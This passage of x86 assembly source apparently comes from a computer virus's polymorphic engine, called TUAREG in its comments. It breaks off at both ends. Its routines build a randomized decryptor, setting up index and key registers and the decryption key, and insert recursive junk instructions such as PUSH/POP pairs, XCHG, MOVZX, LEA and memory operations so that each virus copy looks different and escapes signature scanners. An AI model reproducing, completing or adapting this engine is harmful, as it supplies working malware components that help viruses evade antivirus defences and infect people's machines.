                ret
      @@Found:  sub     edx, ebp
                shr     edx, 2
                add     edx, ebp
                mov     byte ptr [edx+ecx+ReservedMemVars_F-1], 0
                pop     edx
                pop     ecx
                ret
ReleaseVar      endp

;; DL=Register to PUSH
DoPUSHReg       proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@DirectPUSH
                call    RandomFlags
                jz    @@DirectPUSH

                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@DirectPUSH
                call    DoMOVMemReg
                call    DoRandomGarbage
                call    DoPUSHMem
                call    ReleaseVar
                jmp     EndRecursiveMOVing

     @@DirectPUSH:
                mov     al, 50h
                add     al, dl
                stosb
                jmp     EndRecursiveMOVing
DoPUSHReg       endp

DoPOPReg        proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@DirectPOP

                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@DirectPOP
                call    DoPOPMem
                call    DoRandomGarbage
                call    DoMOVRegMem
                call    ReleaseVar
                jmp     EndRecursiveMOVing

   @@DirectPOP: mov     al, 58h
                add     al, dl
                stosb
                jmp     EndRecursiveMOVing
DoPOPReg        endp

;; In: EBX=Memory address
DoPUSHMem       proc
                pushad
                call    RandomFlags
                jz    @@WithIndex
    @@Direct:   mov     ax, 35FFh
    CommonWithDoPUSH2:
    @@Common:   stosw
                mov     eax, ebx
                stosd
                jmp   @@End

   @@WithIndex: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Direct
                mov     ax, 0B0FFh
   CommonWithDoPUSH:
                or      ah, [ebp+KeyRegister]
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jb    @@ByteAddition
                cmp     ebx, 0FFFFFF80h
                jb    @@Common
    @@ByteAddition:
                and     ax, 3FFFh
                or      ah, 40h
                stosw
                mov     eax, ebx
                stosb

     EndOfDoPUSHMem:
     @@End:     mov     [esp+S_EDI], edi
                popad
                ret
DoPUSHMem       endp

DoPOPMem        proc
                pushad
                call    RandomFlags
                jz    @@WithIndex
    @@Direct:   mov     ax, 058Fh
                jmp     CommonWithDoPUSH2
   @@WithIndex: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Direct
                mov     ax, 0808Fh
                jmp     CommonWithDoPUSH
DoPOPMem        endp

DoMOVRegMem     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives

    @@OtherRandom:
                call    Random
                and     al, 3
                jz    @@OtherRandom
                cmp     al, 2
                jb    @@DirectMOV
                jz    @@DirectMOVIndexed
    @@PUSHPOP:  call    DoPUSHMem
                call    DoRandomGarbage
                call    DoPOPReg
                jmp     EndRecursiveMOVing

   @@DirectMOV: mov     ax, 058Bh
   CommonMRMDirectMOV:
                shl     dl, 3
                or      ah, dl
                stosw
                mov     eax, ebx
                stosd
                jmp     EndRecursiveMOVing

   @@DirectMOVIndexed:
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@DirectMOV
                mov     ax, 808Bh
   CommonMRMDirectMOV2:
                or      ah, [ebp+KeyRegister]
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jbe   @@Cont_01
                cmp     ebx, 0FFFFFF80h
                jb      CommonMRMDirectMOV
     @@Cont_01: and     ah, 07h
                shl     dl, 3
                or      ah, dl
                or      ah, 40h
                stosw
                mov     eax, ebx
                stosb
                jmp     EndRecursiveMOVing

   @@NoRecursives:
                call    RandomFlags
                jz    @@DirectMOV
                jmp   @@DirectMOVIndexed
DoMOVRegMem     endp

DoMOVMemReg     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives

     @@OtherRandom:
                call    Random
                and     al, 3
                jz    @@OtherRandom
                cmp     al, 2
                jb    @@DirectMOV
                jz    @@DirectMOVIndexed

     @@PUSHPOP: call    DoPUSHReg
                call    DoRandomGarbage
                call    DoPOPMem
                jmp     EndRecursiveMOVing

   @@DirectMOV: mov     ax, 0589h
                jmp     CommonMRMDirectMOV
   @@DirectMOVIndexed:
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@DirectMOV
                mov     ax, 8089h
                jmp     CommonMRMDirectMOV2

   @@NoRecursives:
                call    RandomFlags
                jz    @@DirectMOV
                jmp   @@DirectMOVIndexed
DoMOVMemReg     endp

;; This constructs a XOR between two registers. As the function DoXOR, it has
;; to be made directly, since there aren't more options to do a XOR. Anyway,
;; we can use two slightly different opcodes to perform that.
;; When we call it: DH=Source register, DL=Destiny register
DoXORRegReg     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@Direct
                call    RandomFlags
                jz    @@Direct

                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@Direct
                xchg    dh, dl
                call    DoMOVMemReg
                call    DoRandomGarbage
                xchg    dh, dl
                call    DoXORRegMem
                call    ReleaseVar
                jmp   @@End

     @@Direct:  mov     ax, 0C031h  ; Opcode of XOR Reg,Reg
  DoXXXRegReg:  call    RandomFlags ; Random Zero Flag
                jz    @@1           ; Jump and avoid the next instructions
                add     al, 2       ; Convert opcode to 33h so...
                xchg    dh, dl      ;...we must exchange source and destiny
        @@1:    shl     dh, 3
                or      ah, dl
                or      ah, dh  ; Set the registers to the opcode
                stosw           ; Store the opcode

     EndOfRecursiveMOVing:
     @@End:     dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi
                popad
                ret
DoXORRegReg     endp

DoADDRegReg     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives

      @@Other:  call    Random
                and     al, 3
                jz    @@Other
                cmp     al, 2
                jb    @@Direct
                jz    @@LEA

                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@Direct
                xchg    dh, dl
                call    DoMOVMemReg
                call    DoRandomGarbage
                xchg    dh, dl
                call    DoADDRegMem
                call    ReleaseVar
                jmp     EndOfRecursiveMOVing

     @@LEA:     mov     ax, 048Dh
                cmp     dh, dl
                jz    @@Direct
                cmp     dh, 5
                jz    @@LEA_x
                cmp     dl, 5
                jz    @@LEA_y
                call    RandomFlags
                jz    @@LEA_x
     @@LEA_y:   xchg    dh, dl
     @@LEA_x:   stosw
                mov     al, dl
                shl     dh, 3
                or      al, dh
                stosb
                jmp     EndOfRecursiveMOVing

     @@NoRecursives:
                call    RandomFlags
                jz    @@Direct
                jmp   @@LEA

     @@Direct:  mov     ax, 0C001h
                jmp     DoXXXRegReg
DoADDRegReg     endp

DoSUBRegReg     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@Direct
                call    RandomFlags
                jz    @@Direct
                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@Direct
                xchg    dh, dl
                call    DoMOVMemReg
                call    DoRandomGarbage
                xchg    dh, dl
                call    DoSUBRegMem
                call    ReleaseVar
                jmp     EndOfRecursiveMOVing

     @@Direct:  mov     ax, 0C029h
                jmp     DoXXXRegReg
DoSUBRegReg     endp

;; This set of three functions are called using RandomCalling to call them
;; in a random order, because the order doesn't matter here. This functions
;; set the initial value to Index1, Index2 and Key registers.
SetIndex2Register proc
                mov     eax, [ebp+InitialValue]   ; Get the initial value
                mov     dl, [ebp+Index2Register]  ; Get Index2Register
                call    DoMOV            ; Make a move operation
                call    DoRandomGarbage  ; Make garbage
                ret          ; Return
SetIndex2Register endp

;; Set the Index1 register initial value
SetIndex1Register proc
                mov     dl, [ebp+Index1Register]  ; Get Index1Register
                call    Random            ; Generate a random addition for the
                and     eax, Virus_SizePOW2 - 4  ; PRIDE technique
                call    DoMOV             ; Make a move operation
                call    DoRandomGarbage   ; Make garbage
                ret          ; Return
SetIndex1Register endp

;; Set the Key register value
SetKeyRegister  proc
                mov     dl, [ebp+KeyRegister] ; Get KeyRegister
                mov     eax, [ebp+DecryptKey] ; Get decryption key
                call    DoMOV            ; Make a move operation
                call    DoRandomGarbage  ; Make garbage
                mov     byte ptr [ebp+KeyIsInit], 1
                ret          ; Return
SetKeyRegister  endp

KeyIsInit       db      0

;; Here it is the most used function of this engine. This function calls up to
;; three times to the function Garbage, which generates a single garbage ins-
;; truction (in the case it doesn't select any recursive type).
DoRandomGarbage proc
                push    eax
                call    Random
                and     eax, 3 ; Get a random number between 0 and 3
                call    RandomFlags
                jz    @@Check0
                cmp     eax, 1
                jbe   @@End
                dec     eax
                jmp   @@Loop
     @@Check0:  or      eax, eax
                jz    @@End
    @@Loop:     call    Garbage  ; Call the main function of garbage
                dec     eax
                jnz   @@Loop   ; Repeat EAX times
      @@End:    pop     eax    ; Restore EAX
                ret            ; Return
DoRandomGarbage endp

GarbageRecursivity      db      0 ; This variable is incremented each time
                                  ; we enter in Garbage, and decreased when
                                  ; we exit. With this, we can control the
                                  ; garbage quantity on recursive types, and
                                  ; we can have a closer control when creating
                                  ; subroutines.

;; The main garbage generator. It can generate garbage of many types, and it
;; can be recursively called (some types of garbage are composed of two or
;; more instructions, so DoRandomGarbage is called between).
Garbage         proc
                pushad     ; Save all
                inc     byte ptr [ebp+GarbageRecursivity] ; Increase the num-
                                         ; ber of active instances of Garbage
                cmp     byte ptr [ebp+GarbageRecursivity], 5 ; If we are too
                jz    @@Return            ; high on recursive instances, exit
                call    RandomFlags   ; Do we make garbage?
                jz    @@Make1
                js    @@Make1
                jp    @@DontMake

      @@Make1:  call    Random    ; Get a random type
                and     al, 3
                jz    @@GeneralWithValue ; Let's do a common type with direct
                                         ; value
                cmp     al, 2
                jb    @@GeneralWithReg  ; Common type with a random register
                jz    @@NotEasyOnes     ; Some complex ones
      ;; Some mixed types. We can do XCHG, MOVZX, MOVSX, INC, DEC and PUSH/
      ;; POP pairs
   @@SomeMore:  call    RandomFlags
                jz    @@Make1
                and     ah, 3
                jz    @@XCHG       ; Do XCHG
                cmp     ah, 2
                jb    @@MOVZXSX    ; Do MOVZX or MOVSX
                jz    @@INCDEC     ; Do INC or DEC

       ;; Let's do PUSH Reg/Garbage/POP Reg
  @@PUSHPOP:
   @@PUSHPOP32: cmp     byte ptr [ebp+GarbageRecursivity], 4
                jz    @@Make1  ; If we can't do more garbage (many recursive
                               ; calls), select another type
                call    SelectAnyRegisterWithInit ;Get an initialized register
                add     al, 50h
                stosb            ; PUSH it
                mov     esi, edi ; Save the current storage address (EDI)
   @@PUSHPOP_4: call    DoRandomGarbage ; Make garbage
                cmp     esi, edi        ; Current EDI=Saved EDI?
                jz    @@PUSHPOP_4       ; Then, it means that no garbage were
                                        ; generated, so jump to make again
   @@PUSHPOP_2: call    SelectARegister ; Select a not-reserved register
                add     al, 58h         ; Construct a POP
                stosb                   ; Store the opcode
                jmp   @@Return     ; Return

        ;; Let's make XCHG Reg32,Reg32, XCHG Reg16,Reg16 or XCHG Reg8,Reg8
    @@XCHG:     call    RandomFlags
                jz    @@XCHG32   ; XCHG Reg32,Reg32 with a 75% of probability,
                js    @@XCHG8    ; XCHG Reg8,Reg8 with a 25% of probability
     @@XCHG32:  call    SelectARegisterWithInit ; Get a not-reserved initiali-
                mov     dl, al         ; zed register and save it in DL
     @@XCHG_01: call    SelectARegisterWithInit ; Get another not-reserved
                                       ; initialized register
                cmp     dl, al   ; Is the same register?
                jz    @@XCHG_01  ; Then, select another
                or      al, al   ; EAX?
                jz    @@XCHGWithEAX2 ; Then, use the optimized opcode
                or      dl, dl   ; EAX?
                jz    @@XCHGWithEAX  ; Then use the optimized opcode (1 byte)
                mov     ah, 0C0h
                or      ah, al
                mov     al, 87h
                shl     dl, 3   ; Construct the opcode with the two registers.
                or      ah, dl  ; The opcode is 87 C0+Reg1*8+Reg2
                stosw           ; Store the opcode
                jmp   @@Return  ; Return
      @@XCHGWithEAX2:
                mov     al, dl  ; Set the other register (the one which isn't
                                ; EAX) in AL
      @@XCHGWithEAX:
                add     al, 90h ; Add the mask of the opcode of XCHG Reg,EAX
                stosb           ; Store the opcode
                jmp   @@Return  ; Return
     @@XCHG8:   call    SelectAReg8 ; Get a 8 bits register
                cmp     al, 8       ; Test if we can select anyone (maybe the
                                    ; four reserved registers are casually
                                    ; all the E?X)
                jz    @@Make1   ; If we can't, select another type of garbage
                mov     dl, al  ; Save it in DL
                call    SelectAReg8 ; Get a 8 bits register
                cmp     dl, al  ; Is it the same?
                jz    @@Make1   ; If it's the same, select another type of
                                ; garbage, because maybe only one E?X can be
                                ; selected for garbage
                add     al, 0C0h ; Set the mask of "register usage" in the
                                 ; second opcode
                shl     dl, 3
                add     al, dl  ; Set the other register
                mov     ah, al
                mov     al, 86h ; Put the main opcode (86h) in AL
                stosw           ; Store the 2 bytes opcode
                jmp   @@Return  ; Return

       ;; Here we make MOVZX Reg32,Reg8/Reg16 or MOVSX Reg32,Reg8/Reg16
   @@MOVZXSX:   call    SelectARegister  ; Get a register
                mov     dl, al           ; Save it in DL
    @@MOVZX_01: call    SelectAnyRegisterWithInit ;Get any init. register
                cmp     al, dl     ; Is it the same?
                jz    @@MOVZX_01   ; If it's the same, select another
                shl     dl, 3      ; Set the register number in bits 5-4-3
                push    eax        ; Save the second register
                call    Random     ; Get a random number
                mov     al, 0Fh    ; AL=Extended opcode (0Fh)
                and     ah, 9
                add     ah, 0B6h   ; Get in AH a random B6h, B7h, BEh or BFh
                                   ; 0F B6: MOVZX Reg32,Any8
                                   ; 0F B7: MOVZX Reg32,Any16
                                   ; 0F BE: MOVSX Reg32,Any8
                                   ; 0F BF: MOVSX Reg32,Any16
                stosw            ; Store the opcode
                pop     eax      ; Restore register
                or      al, 0C0h ; Activate "register usage" with the 8 or 16
                                 ; bits register
                or      al, dl   ; Set the destiny register
                stosb            ; Store the third opcode
                jmp   @@Return   ; Return

     ;; Make INC or DEC. This types are only INC Reg32 or INC Reg8
   @@INCDEC:    call    RandomFlags
                jc    @@INC32    ; Make INC Reg32 with a 75% of probability
                js    @@INC8     ; Make INC Reg8 with a 25% of probability
      @@INC32:  call    SelectARegisterWithInit ; Get a not-reserved initiali-
                mov     dl, al             ; zed register and save it in DL
                call    Random
                and     al, 8       ; Get INC if AL=0 or DEC if AL=8
                add     al, 40h     ; Add opcode mask
                add     al, dl      ; Add register mask
                stosb               ; Store the opcode
                jmp   @@Return      ; Return
             ;; 8 bits version
      @@INC8:   call    SelectAReg8 ; Get a 8 bits register
                cmp     al, 8       ; If there aren't selectable 8 bits regis-
                jz    @@Make1       ; ters, select another type of garbage
                mov     dl, al      ; Set the register in DL
                call    Random
                and     ah, 8       ; Get INC or DEC
                add     ah, dl      ; Set the register in the second opcode
                add     ah, 0C0h    ; Mask the second opcode for "register"
                mov     al, 0FEh    ; AL=Main opcode. This opcode has some
                ; weird instructions that generate exceptions, since the other
                ; instructions are only for 32 bits, but you can play with the
                ; DEBUG and generate instructions like CALL AL (FEh D0h) :)
                stosw            ; Store the opcode
                jmp   @@Return   ; Return

 ;; GeneralWithValue begins here. This part generates an instruction from the
 ;; common most used opcodes 80h and 81h. This time we select a not-reserved
 ;; register and then we make ADD, OR, ADC, SBB, AND, SUB, XOR or CMP (well,
 ;; that CMP is substituted by MOV). It's very easy to do.
     @@Make1_:  popf              ; This is to restore flags from stack and
                jmp   @@Make1     ; jump to make another type of garbage
 @@GeneralWithValue:
                call    RandomFlags ; Get a random type
                pushf             ; Save this new flags
                jz    @@GWV_32b
                js    @@GWV_32b   ; Make a 32 bits one (75% of probability)
    @@GWV_8b:   call    SelectAReg8 ; Get a 8 bits register
                cmp     al, 8       ; Can be selected?
                jz    @@Make1_      ; If not, jump (pop flags and select other
                                    ; type of garbage)
                mov     dl, al    ; Save the register in DL
                call    Random
                and     al, 38h   ; Get a random operation
                cmp     al, 38h   ; Were we going to make CMP?
                jnz   @@GWV8_01   ; If not, continue
                mov     al, 0B0h  ; Make a MOV
                add     al, dl    ; Mask the register
                stosb             ; Store the opcode
                jmp   @@GWV_02    ; Jump to insert a random value
    @@GWV8_01:  or      dl, dl    ; Are we going to use AL?
                jz    @@GWV_AL    ; If we use it, use its own opcode
                mov     ah, 80h   ; Opcode 80h (OP Reg8,Value8)
                jmp   @@GWV_03    ; Jump and continue

    @@GWV_32b:  call    SelectARegisterWithInit ; Get an initialized not-re-
                                                ; served 32 bits register
                mov     dl, al    ; DL=Reg32
                call    Random
                and     al, 38h   ; Get a random operation
                cmp     al, 38h
                jnz   @@GWV_01    ; If we were going to use CMP, use MOV
                push    edx
                movzx   edx, dl   ; Check if the register is "touched". If it
                cmp     byte ptr [ebp+edx+TouchedRegisters], 1 ; is, we avoid
                pop     edx       ; moving a value on it (it's very suspicious
                                  ; to have two MOVs one after another, so just
                                  ; in case before there is another MOV, we
                                  ; avoid it).
                jz    @@Make1_    ; If it's "touched", select another type of
                                  ; garbage
                mov     al, 0B8h  ; MOV instead of CMP
                add     al, dl    ; Mask the opcode
                stosb             ; Store the opcode
                jmp   @@GWV_02    ; Jump to store the value
    @@GWV_01:   or      dl, dl    ; EAX?
                jz    @@GWV_EAX   ; Then use its own opcode
                mov     ah, 81h   ; Opcode 81h (OP Reg32,Value32)
    @@GWV_03:   xchg    ah, al    ; Exchange the opcodes in AH and AL
                or      ah, 0C0h  ; Mask the 2nd opcode
                or      ah, dl    ; Set the register to the 2nd opcode
                stosw             ; Store the opcode
                jmp   @@GWV_02    ; Jump to complete the instruction
    @@GWV_EAX:  add     al, 1
    @@GWV_AL:   add     al, 4 ; If the register was AL, we add 4 to the opcode
                              ; in AL to make OP AL,Value8. If the register
                              ; was EAX, we add 5 to the opcode in AL to make
                              ; OP EAX,Value32
                stosb         ; We store the opcode
     @@GWV_02:  call    Random  ; Get a random number in EAX
                popf            ; Restore flags to know wether to use 8 bits
                jz    @@Store32 ; or 32 bits to complete the instruction
                js    @@Store32
     @@Store8:  stosb           ; Store a random byte to complete
                jmp   @@Return  ; Return
     @@Store32: stosd           ; Store a random dword to complete
                jmp   @@Return  ; Return

 ;; This part is similar to GeneralWithValue, but this time we use a random
 ;; register as source of operation, not a value.
 @@GeneralWithReg:
                call    RandomFlags
                jz    @@GWR_32b
                jc    @@GWR_32b  ; Select 32 bits instructions with a 75% of
                                 ; probability
     @@GWR_8b:  call    SelectAReg8 ; Select a 8 bit register
                cmp     al, 8       ; Can we select them?
                jz    @@Make1      ; If not, we select another type of garbage
                mov     dl, al     ; Save it in DL
     @@GWR8_02: call    SelectAReg8 ; Select another Reg8
                mov     dh, al     ; Save it in DH
                cmp     dl, al     ; Are they the same register?
                jnz   @@GWR8_01    ; If not, jump and use a random operation
                call    RandomFlags ; Jump to select another Reg8 with a 50%
                jz    @@GWR8_02     ; of probability
                call    Random
                and     ah, 8      ; Since the registers are equal, we select
                add     ah, 28h    ; a more reliable instruction (XOR or SUB)
                jmp   @@GWR8_04    ; Jump to continue with this opcode
     @@GWR8_01: call    Random
     @@GWR8_04: and     ah, 38h    ; Get a random operation
                cmp     ah, 38h    ; Check if it's CMP
                jnz   @@GWR8_03    ; If it isn't jump
                push    edx
                movzx   edx, dl
                and     dl, 3
                cmp     byte ptr [ebp+edx+TouchedRegisters], 1
                pop     edx        ; Is that register "touched"?
                jz    @@Make1      ; If it is, select other type of garbage
                mov     ah, 88h   ; MOV instead of CMP
     @@GWR8_03: mov     al, ah    ; Put it in AL
                jmp   @@GWR_04    ; Jump to make the instruction

     @@GWR_32b: call    SelectARegisterWithInit ; Select an initialized not-
                mov     dl, al         ; reserved register and save it in DL
    @@GWR32_01: call    SelectAnyRegisterWithInit ; Get any initialized regis-
                cmp     dl, al  ; ter and compare it with the selected before
                jnz   @@GWR_03  ; If it's different, jump
                call    RandomFlags ; If it's equal, repeat the register ob-
                jz    @@GWR32_01    ; tention with a 50% of probability
                mov     dh, al  ; Save the register in DH
                call    Random   ; Select XOR or SUB, which are the most re-
                and     ah, 8    ; liable instructions that can be used with
                add     ah, 28h  ; the same source and operand register
                jmp   @@GWR_05   ; Jump and continue
     @@GWR_03:  mov     dh, al   ; Save the register
                call    Random
     @@GWR_05:  and     ah, 38h  ; Get a random operation
                cmp     ah, 38h  ; CMP?
                jnz   @@GWR_02   ; If not, jump
                push    edx
                movzx   edx, dl
                cmp     byte ptr [ebp+edx+TouchedRegisters], 1
                pop     edx      ; Is the register "touched"?
                jz    @@Make1    ; If it is, avoid MOV (and select another
                                 ; type of garbage)
                mov     ah, 88h   ; MOV instead of CMP
      @@GWR_02: mov     al, ah    ; Put the opcode in AL
                inc     eax       ; Make it "32 bits"
      @@GWR_04: mov     ah, 0C0h  ; 2nd opcode as "register usage"
                call    RandomFlags ; Get alternate?
                jz    @@GWR_01    ; Jump if not
                add     al, 2     ; Add 2 to the opcode...
                xchg    dh, dl    ; ...and exchange source and destiny
      @@GWR_01: shl     dh, 3
                or      ah, dl
                or      ah, dh    ; Set the registers in the 2nd opcode
                stosw             ; Store the opcode
                jmp   @@Return    ; Return

 ;; Here we make various types of "difficult" garbage. In this part of the
 ;; function we construct CALLs, conditional jumps, memory read/writes or
 ;; LEAs with complicated sources.
 @@NotEasyOnes: call    RandomFlags
                jz    @@RecursiveOnes
                js    @@MemoryOperation

   ;; Here we construct a LEA
   @@LEA:       call    SelectARegister ; Get a not-reserved register
                mov     dl, al
                movzx   edx, dl    ; Check if the register is "touched"
                cmp     byte ptr [ebp+edx+TouchedRegisters], 1
                jz    @@Make1      ; If it is, select other type of garbage
      @@LEA_00: call    Random   ; Get a type of LEA
                and     al, 3
                jz    @@LEA_00   ; AL=0: Repeat random getting
                cmp     al, 2
                jb    @@Direct   ; AL=1: LEA Reg,[Direct_Value]
                jz    @@OneReg   ; AL=2: LEA Reg,[Reg+Value]

    ;; Here we make: LEA Reg,[(X*)Reg+Reg+Value]
     @@TwoRegs: mov     ax, 848Dh ; LEA with three opcodes
                shl     dl, 3
                or      ah, dl    ; Set the destiny register
                stosw             ; Store the first two bytes of the opcode
                call    Random    ; Get a random byte
                stosb             ; Store it to get a completely random index
                call    Random    ; Get a random addition
                stosd             ; Store it
                jmp   @@Return    ; Return

     ;; Here we make: LEA Reg,[Reg+Value]
      @@OneReg: call    Random
                and     ah, 7
                cmp     ah, 4
                jz    @@OneReg    ; Random register (not ESP) for source
                add     ah, 80h   ; Set dword addition
      @@LEA_01: shl     dl, 3
                or      ah, dl    ; Set the destiny register
                mov     al, 8Dh   ; Main opcode of LEA
                stosw             ; Store the opcode
                call    Random
                stosd             ; Store a random addition
                jmp   @@Return    ; Return

     ;; Here we make: LEA Reg,[Value]
      @@Direct: mov     ah, 05h   ; Put this special opcode (direct value)
                jmp   @@LEA_01    ; Jump to complete the instruction

@@MemoryRead    db      0   ; This variable signalizes a memory read or a me-
                            ; mory write in the code below
@@Memo32bits    db      0   ; This variable indicates if a 32 bits read/write
                            ; is made, or we are doing a 8 bits one

 ;; Here we make a memory operation. We can make a read or write, and it can
 ;; be indexed, using the Key register, since it's the only one that doesn't
 ;; change its value (at least in this version of the TUAREG).
 ;; We have to be sure that the used memory addresses exist (even reads), due
 ;; to the fact that it's protected mode and the memory addresses are 32 bits,
 ;; not like DOS where we can read from anywhere.
 @@MemoryOperation:
                call    RandomFlags
                setz    al   ; Get a random AX being 0000h, 0001h, 0100h or
                sets    ah   ; 0101h, to set @@MemoryRead and @@Memo32bits
                mov     word ptr [ebp+@@MemoryRead], ax  ; with random 0 or 1
                           ; and use them to construct the garbage instruction
                call    SelectAnAddressLow ; Get a random read/writing address
                                        ; in EBX
                call    RandomFlags ; Randomly, select the type of instruction
                jz    @@MW_WithReg  ; If ZF, make a read/write with a reg

     ;; Make: OP [Memory_Address],Value
     @@MW_WithValue:
                call    Random
                and     ah, 38h    ; Get a random operation
                cmp     ah, 38h    ; CMP?
                jz    @@MW_WV_MOV  ; Then, do MOV
                mov     al, 80h    ; Set main opcode
                jmp   @@MW_Continue01 ; Jump
  @@MW_WV_MOV:  mov     ax, 00C6h     ; C6 = Opcode of MOV
     @@MW_Continue01:
                call    RandomFlags   ; Indexed?
                jz    @@MW_WV_NotIndexed
                js    @@MW_WV_NotIndexed
                jc    @@MW_WV_Indexed
                jp    @@MW_WV_NotIndexed
          ; Select indexed with a (12.5%+6.25%) of probability
   ;; This is the indexed one. We can do OP Reg,[Reg2+Value] (or the reverse)
       @@MW_WV_Indexed:
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@MW_WV_NotIndexed    ; If it isn't set yet, then make a
                                            ; not indexed operation
                call    RandomFlags
                jz    @@MW_WV_NotThird
                js    @@MW_WV_NotThird
                or      ah, 04h         ; Activate third opcode
                call    RandomFlags
                pushf
                jz    @@MW_WV_Mult_32b
                js    @@MW_WV_Mult_8b
       @@MW_WV_Mult_32b:
                inc     eax
       @@MW_WV_Mult_8b:
                stosw
       @@MW_WV_RepeatMult:
                call    Random
                and     al, 3
                jz    @@MW_WV_RepeatMult
                mov     cl, al
                mov     al, byte ptr [ebp+KeyRegister]
                shl     al, 3
                or      al, 5
                mov     edx, [ebp+DecryptKey]
                shl     edx, cl
                ror     cl, 2
                or      al, cl
                stosb
                sub     ebx, edx
                jmp   @@MW_WVGb
       @@MW_WV_NotThird:
                or      ah, 80h          ; Mask the opcode for dword addition
                or      ah, byte ptr [ebp+KeyRegister] ; Set the key register
                sub     ebx, [ebp+DecryptKey]   ; Subtract the value of the
                                        ; key register to the memory address
                jmp   @@MW_WV_01     ; Jump to complete the instruction
      ;; Here we make not indexed operations
   @@MW_WV_NotIndexed:
                add     ah, 5        ; Direct value inside the brackets
       @@MW_WV_01:
                call    RandomFlags
                pushf
                jz    @@MW_WV32b
                js    @@MW_WV8b      ; Select 8 or 32 bits

    @@MW_WV32b: inc     eax        ; If 32 bits, increase the main opcode
    @@MW_WV8b:  stosw              ; Store the opcode
    @@MW_WVGb:  mov     eax, ebx   ; Complete with the addition or the direct
                stosd              ; memory address
                call    Random     ; Get a random value in EAX
                popf
                jz    @@Store32   ; If 32 bits, complete with a random dword
                js    @@Store8    ; value. If not, complete with only a byte
                jmp   @@Store32

    ;; Here we use a random register instead of a value. This time we can make
    ;; reads or writes (with value we can only do writes). If we write to me-
    ;; mory, we can use any of the seven general purpose registers. If it's
    ;; a read, only a not-reserved one.
    @@MW_WithReg:
                cmp     byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
                jnz   @@MW_WR_80                       ; Jump if write
                cmp     byte ptr [ebp+@@Memo32bits], 1 ; 8 or 32 bits?
                jz    @@MW_WR_79         ; Jump if 32 bits
        ;; Here we make OP Reg8,[(Reg+)Value]
                call    SelectAReg8     ; Select a 8 bits register
                cmp     al, 8           ; Can we select anyone?
                jz    @@MemoryOperation ; If not, select another type of op.
                jmp   @@MW_WR_81        ; Jump and continue
        ;; Here we make OP Reg32,[(Reg+)Value]
    @@MW_WR_79: call    SelectARegister ; Select a not-reserved register
                jmp   @@MW_WR_81        ; Jump and continue
        ;; Here we make OP [(Reg+)Value],Reg8/32
    @@MW_WR_80: call    SelectAnyRegisterWithInit ; Select any register, and
                                ; initialize it to a random value if it isn't
                                ; set with a value
    @@MW_WR_81: mov     dl, al     ; Save the register in DL
                call    Random     ; Get an operation
                and     al, 38h
                call    RandomFlags     ; Select indexed or not
                jz    @@MW_WR_NotIndexed
                js    @@MW_WR_NotIndexed
                jc    @@MW_WR_Indexed
                jp    @@MW_WR_NotIndexed
        ;; Here if we use indexation using the Key register
     @@MW_WR_Indexed:
                cmp     byte ptr [ebp+KeyIsInit], 1 ; If the key register
                jnz   @@MW_WR_NotIndexed    ; isn't set with its value, then
                                            ; we can't do this, so make a not
                                            ; indexed memory operation
                call    RandomFlags
                jz    @@MW_WR_NotThird
                js    @@MW_WR_NotThird
                cmp     al, 38h     ; CMP?
                jnz   @@MW_WR_99    ; If not, jump
                mov     al, 88h     ; If CMP, substitute it by MOV
       @@MW_WR_99:
                mov     ah, 4h
                shl     dl, 3
                or      ah, dl
                mov     cl, byte ptr [ebp+@@Memo32bits]
                add     al, cl
                mov     cl, byte ptr [ebp+@@MemoryRead]
                add     al, cl
                add     al, cl
                stosw
       @@MW_WR_RepeatMult:
                call    Random
                and     eax, 3
                jz    @@MW_WR_RepeatMult
                mov     ecx, eax
                mov     eax, 1
                shl     eax, cl
       @@MW_WR_Subtract:
                sub     ebx, [ebp+DecryptKey]
                dec     eax
                jnz   @@MW_WR_Subtract
                mov     al, [ebp+KeyRegister]
                shl     al, 3
                or      al, 5
                ror     cl, 2
                or      al, cl
                stosb
                jmp   @@MW_WR_02

       @@MW_WR_NotThird:
                mov     ah, 80h     ; Mask with dword addition
                or      ah, byte ptr [ebp+KeyRegister] ; Put the indexation
                                                       ; register in the opc.
                sub     ebx, [ebp+DecryptKey] ; Calculate the addition
                shl     dl, 3
                or      ah, dl      ; Set the destiny register
                cmp     al, 38h     ; CMP?
                jnz   @@MW_WR_01    ; If not, jump
                mov     al, 88h     ; If CMP, substitute it by MOV
                jmp   @@MW_WR_01    ; Jump to continue
     ;; Here to make with no indexation (direct memory address)
   @@MW_WR_NotIndexed:
                mov     ah, 05h     ; Direct value inside brackets
   @@MW_WR_Cont01:
                shl     dl, 3
                or      ah, dl      ; Set the destiny register
                cmp     al, 38h     ; CMP?
                jnz   @@MW_WR_01    ; If not, avoid
      @@MW_WR_MOV:
                or      dl, dl      ; EAX?
                jz    @@MW_WR_EAX   ; Then, use its own opcode for MOV
                mov     al, 88h     ; Substitute CMP by MOV
                jmp   @@MW_WR_01    ; Jump and continue
      @@MW_WR_EAX:
